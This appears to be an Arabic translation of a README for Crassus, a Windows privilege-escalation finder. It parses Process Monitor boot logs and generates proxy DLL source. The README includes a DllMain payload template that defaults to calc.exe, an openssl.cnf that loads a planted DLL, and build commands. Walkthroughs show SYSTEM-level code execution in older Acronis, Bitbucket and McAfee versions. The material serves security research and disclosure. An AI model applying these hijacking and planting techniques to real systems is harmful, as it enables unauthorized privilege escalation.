
أداة اكتشاف تصعيد الامتيازات في ويندوز تقوم بتحليل سجلات التمهيد من Process Monitor لتحديد اختطاف DLL، و ACLs الضعيفة، ومسارات تصعيد أخرى، مع إنشاء تلقائي لرمز مصدر DLL وكيل.
Enable Boot Logging.

raw.PML.Ctrl-R.boot.PML.Crassus.exe boot.PML.results.csv.صنعت Accenture أداة تُسمى Spartacus، والتي تكتشف فرص اختطاف DLL على ويندوز. باستخدام Spartacus كنقطة انطلاق، أنشأنا Crassus لتوسيع قدرات اكتشاف تصعيد الامتيازات في ويندوز إلى ما هو أبعد من مجرد البحث عن الملفات المفقودة. يمكن لـ ACLs التي تستخدمها ملفات وأدلة العمليات ذات الامتيازات أن تجد أكثر من مجرد البحث عن الملفات المفقودة لتحقيق الهدف.
... ولكن مع لمسة مختلفة حيث أن Crassus يستخدم مراقب عمليات SysInternals ويقوم بتحليل ملفات PML الأولية. الاستخدام النموذجي هو إنشاء سجل تمهيد باستخدام مراقب العمليات ثم تحليله باستخدام Crassus. سيقوم أيضًا بإنشاء كود مصدر تلقائيًا لـ Proxy DLLs مع جميع الصادرات ذات الصلة لـ DLLs الضعيفة.
version.dll، فسوف ينشئ Crassus ملفي version.cpp و version.def لك مع جميع الصادرات المضمنة فيه. بشكل افتراضي، سيقوم الـ Proxy DLLs بتشغيل calc.exe. يتم تضمين نصوص بناء لبناء الـ DLLs على Visual Studio أو MinGW.يمكن تلخيص الفكرة العامة لكيفية عمل Crassus في هذا المخطط الانسيابي:






تم تطوير Crassus كمشروع Visual Studio 2019. لبناء Crassus.exe:
Crassus.slnCtrl+Shift+B على لوحة المفاتيحإذا كنت تثق في تشغيل كود الآخرين دون معرفة ما يفعله، فإن Crassus.exe متوفر في هذا المستودع.
Enable Boot Logging.

Ctrl-R.boot.PML. سبب إعادة حفظ ملف السجل ذو شقين:
| الوسيطة | الوصف |
|---|---|
<PMLFILE> | موقع (ملف) ملف سجل أحداث ProcMon الموجود. |
--verbose | تفعيل الإخراج المفصل. |
--debug | تفعيل إخراج التصحيح. |
قم بتحليل سجل تمهيد مراقب العمليات المحفوظ في boot.PML. سيتم حفظ جميع المسارات الضعيفة كـ results.csv وجميع ملفات مصدر الـ Proxy DLL في الدليل الفرعي stubs.
C:\tmp> Crassus.exe boot.PML
أدناه هو القالب المستخدم عند إنشاء Proxy DLLs. بالنسبة لـ DLLs التي يعثر عليها Crassus، سيحتوي الـ Proxy DLL على نفس أسماء الصادرات كما هو محدد في %_EXPORTS_%، بالإضافة إلى نفس الأرقام الترتيبية كما هو محدد في ملف .def. سيكتشف Crassus ما إذا كان الـ DLL يحتاج إلى البناء كمكتبة 32 بت أم 64 بت من خلال النظر في بنية العملية الأم، ووضع علامة على الكود المصدري في حقل %_BUILD_AS_% وفقًا لذلك.
إذا تعذر العثور على الـ DLL الحقيقي باستخدام سجل مراقب العمليات، أو إذا كان اسم التصدير إشكاليًا، فستتراجع نصوص البناء إلى إنشاء DLL بدون صادرات محددة.
#pragma once
//%_BUILD_AS%
#include <windows.h>;
extern "C" {
VOID Payload() {
// قم بتشغيل الحمولة الخاصة بك هنا.
WinExec("calc.exe", 1);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
Payload();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
#ifdef ADD_EXPORTS
%_EXPORTS_%
#endif
}
بالنسبة للتطبيقات التي تستخدم قيمة متغير OPENSSLDIR بشكل غير آمن، يمكن وضع ملف openssl.cnf مخصص في الموقع المشار إليه. في هذا المثال، سيقوم البرنامج بتحميل C:\tmp\calc.dll. تأكد من استخدام مكتبة 32 بت لاستهداف العمليات 32 بت، ومكتبة 64 بت لاستهداف العمليات 64 بت.
openssl_conf = openssl_init
[openssl_init]
# سيحاول هذا تحميل الملف c:\tmp\calc.dll كجزء من تهيئة OpenSSL
# يجب أن تكتشف نصوص البناء ما إذا كانت مكتبة calc.dll بحاجة إلى البناء كـ 32 بت أم 64 بت
/tmp/calc = asdf
التجميع ممكن باستخدام ملف cl.exe المضمن مع Visual Studio. بالتحديد:
cl.exe /DADD_EXPORTS /D_USRDLL /D_WINDLL <target>.cpp /LD /Fe<target>.dll /link /DEF:<target>.def
لأتمتة عملية البناء، بما في ذلك تحديد ما إذا كانت المكتبة يجب أن تكون 64 بت أم 32 بت:
build.bat..dll.ملاحظة: نظرًا لسلوك مؤسف مع vcvarsall.bat، والذي ليس بالتأكيد خطأ، قد تواجه مشكلة عند محاولة تشغيل build.bat أكثر من مرة في نفس جلسة موجه أوامر مطور Visual Studio. إذا واجهت خطأ، فقط أغلق النافذة وأعد فتحها مرة أخرى.
إذا لم يكن Visual Studio متاحًا بسهولة، يمكن تجميع الـ Proxy DLLs باستخدام MinGW-w64 بدلاً من ذلك. على منصة Ubuntu على سبيل المثال، يمكن تثبيت MinGW عبر الأمر التالي: sudo apt install g++-mingw-w64-x86-64-win32 g++-mingw-w64-i686-win32
# إنشاء DLL 32 بت
i686-w64-mingw32-g++ -c -o <target>.o <target>.cpp -D ADD_EXPORTS
i686-w64-mingw32-g++ -o <target>.dll <target>.o <target>.def -s -shared -Wl,--subsystem,windows
# إنشاء DLL 64 بت
x86_64-w64-mingw32-g++ -c -o <target>.o <target>.cpp -D ADD_EXPORTS
x86_64-w64-mingw32-g++ -o <target>.dll <target>.o <target>.def -s -shared -Wl,--subsystem,windows
لأتمتة عملية البناء، بما في ذلك تحديد ما إذا كانت المكتبة يجب أن تكون 64 بت أم 32 بت:
bash ./build.sh.dll.كما هو موضح في VU#114757، تحتوي إصدارات Acronis الأقدم على ثغرات متعددة لتصعيد الامتيازات.
openssl.cnf في موقع يمكن إنشاؤه بواسطة مستخدم غير مميز.C:\ProgramData\Acronis.يجد Crassus هاتين المشكلتين تلقائيًا.

عن طريق زرع ملف curl.dll المُجمّع لدينا في الدليل C:\ProgramData\Acronis\Agent\var\atp-downloader\ وإعادة التشغيل مع سجل تمهيد جديد لمراقب العمليات، يمكننا رؤية أن الحمولة الخاصة بنا التي تشغل calc.exe تعمل بامتيازات SYSTEM.

يحاول برنامج Acronis الضعيف تحميل openssl.cnf من موقعين مختلفين. سنضع ملف openssl.cnf النموذجي الخاص بنا في c:\jenkins_agent\workspace\tp-openssl-win-vs2013\17\product\out\standard\vs_2013_release\openssl\ssl، وحمولة calc.dll 32 بت في c:\tmp.

كما هو موضح في VU#240785، فإن إصدارات Atlassian Bitbucket الأقدم عرضة لتصعيد الامتيازات بسبب ACLs الضعيفة لدليل التثبيت. كما هو الحال مع أي برنامج ويندوز يتم تثبيته في موقع خارج C:\Program Files\ أو مواقع أخرى مقيدة بـ ACL، فإن الأمر متروك لمثبت البرنامج لتعيين ACLs بشكل صريح على الدليل الهدف.
يجد Crassus العديد من الطرق لتحقيق تصعيد الامتيازات مع هذا البرنامج، بما في ذلك:

في مخرجات Crassus، يمكننا رؤية أن c:\atlassian\bitbucket\7.9.1\elasticsearch\bin\elasticsearch-service-x64.exe مميز، ولكن نظرًا لأنه قيد التشغيل، لا يمكننا ببساطة استبداله. ومع ذلك، يمكننا استخدام خدعة أخرى لاختراقه. قد نتمكن ببساطة من إعادة تسمية الدليل الذي يعيش فيه، وإنشاء دليل جديد بنفس الاسم، وزرع الحمولة الخاصة بنا بنفس الاسم.

بمجرد إعادة التشغيل مع سجل تمهيد لمراقب العمليات، يمكننا رؤية أن ملف elasticsearch-service-x64.exe المزروع لدينا يعمل بدلاً من الحقيقي، بناءً على أيقونة حاسبة ويندوز.

كما هو موضح في VU#287178، فإن الإصدارات الأقدم من برنامج McAfee عرضة لتصعيد الامتيازات عبر openssl.cnf. دعنا نلقي نظرة:

لمعرفة سبب وجود مرجعين مختلفين لـ openssl.cnf في سجل التمهيد هذا، يمكننا الرجوع إلى ملف results.csv:

لاحظ أن تحميل ملف openssl.cnf من المسار D:\ سيتطلب مزيدًا من التحقيق اليدوي، حيث أن جدوى تحميل مثل هذا المسار تعتمد على النظام الأساسي المعني، وما هو الوصول إلى النظام المتاح. قد يكون من الممكن إنشاء قرص ضوئي يوفر ملف openssl.cnf يشير أيضًا إلى مسار يحل إلى محرك الأقراص الضوئي أيضًا.
SQL Server 2022 ليس من الواضح أنه عرضة لتصعيد الامتيازات بسبب ضعف ACLs إلا إذا تم تثبيته في موقع غير قياسي. إذا تم تثبيته في موقع خارج C:\Program Files، فسيكشف Crassus عن عدة احتمالات لتصعيد الامتيازات. معظم تطبيقات ويندوز التي تتضمن مكونًا مميزًا تبدو قابلة للاستغلال بهذه الطريقة إذا تم تثبيتها في دليل لا يحتوي بالفعل على ACLs آمنة بطبيعتها.

إذا أبلغ Crassus عن تحميل مميز لملف يمكن للمستخدم زرعه أو تعديله، فهذا لا يعني بالضرورة أنه سيناريو قابل للاستغلال. بينما يبحث Crassus عن أنواع الملفات المحتمل أن تكون مثيرة للاهتمام، فإن ملف سجل مراقب العمليات لن يشير مباشرةً إلى ما كانت العملية المرتبطة ستفعله بالملف إذا كان موجودًا. قد يكون الأمر بسيطًا مثل استخراج أيقونة برنامج. قد يعطي التحقيق في مكدس الاستدعاءات لعملية الملف في مراقب العمليات تلميحًا حول ما كان سيتم فعله. أو ببساطة ضع الملف وحقق في السلوك باستخدام سجل تمهيد جديد لمراقب العمليات، إذا كنت تفضل المسار الأسهل بالقوة الغاشمة. قد تواجه أيضًا مكتبة مفقودة حيث إما أن Crassus لا يمكنه العثور على المكتبة لمعرفة الصادرات التي يجب أن تكون موجودة، أو أن الصادرات التي وجدها Crassus تتعارض بطريقة تمنع التجميع السليم لـ DLL. في مثل هذه الحالات، سيعود Crassus إلى إنشاء DLL لا يصدر أي أسماء وظائف. اعتمادًا على كيفية تحميل التطبيق الهدف للمكتبة، قد يمنع غياب أسماء الوظائف المتوقعة و/أو الأرقام الترتيبية التطبيق الهدف من تحميل المكتبة بنجاح. سيتطلب هذا السيناريو جهدًا يدويًا لتحديد الشكل الذي يجب أن يبدو عليه الـ Proxy DLL.
سيبحث Crassus عن عمليات ملفات مميزة لاكتشاف المسارات المهمة. قد تواجه سيناريو حيث تصل كل من عملية مميزة وأخرى غير مميزة إلى مسار، ولكن فقط العملية غير المميزة هي التي تقوم بتنفيذ ما قد يكون موجودًا. بدلاً من ذلك، قد تواجه سيناريو حيث تعمل عملية أصل بامتيازات، ولكنها قد تبدأ بشكل صريح عمليات فرعية بامتيازات أقل.
خاصة عند تثبيت البرنامج لأول مرة، أو عند تثبيت التحديثات، قد يسجل مراقب العمليات عملية ملف تبدو قابلة للاستغلال ولكنها لا تحدث في كل مرة يتم فيها تشغيل النظام. قد يكون استغلال هذه العمليات ممكنًا في أول إعادة تشغيل بعد حدوث مثل هذا الحدث. لتجنب مثل هذه الحالات الحدودية، تأكد من أن سجلات التمهيد اللاحقة تحتوي على نفس عمليات الملف المبلغ عنها في عمليات إعادة التشغيل اللاحقة.
سواء كان خطأ إملائيًا، أو خطأ برمجيًا، أو ميزة جديدة، فإن Crassus مفتوح جدًا للمساهمات طالما أننا نتفق على ما يلي: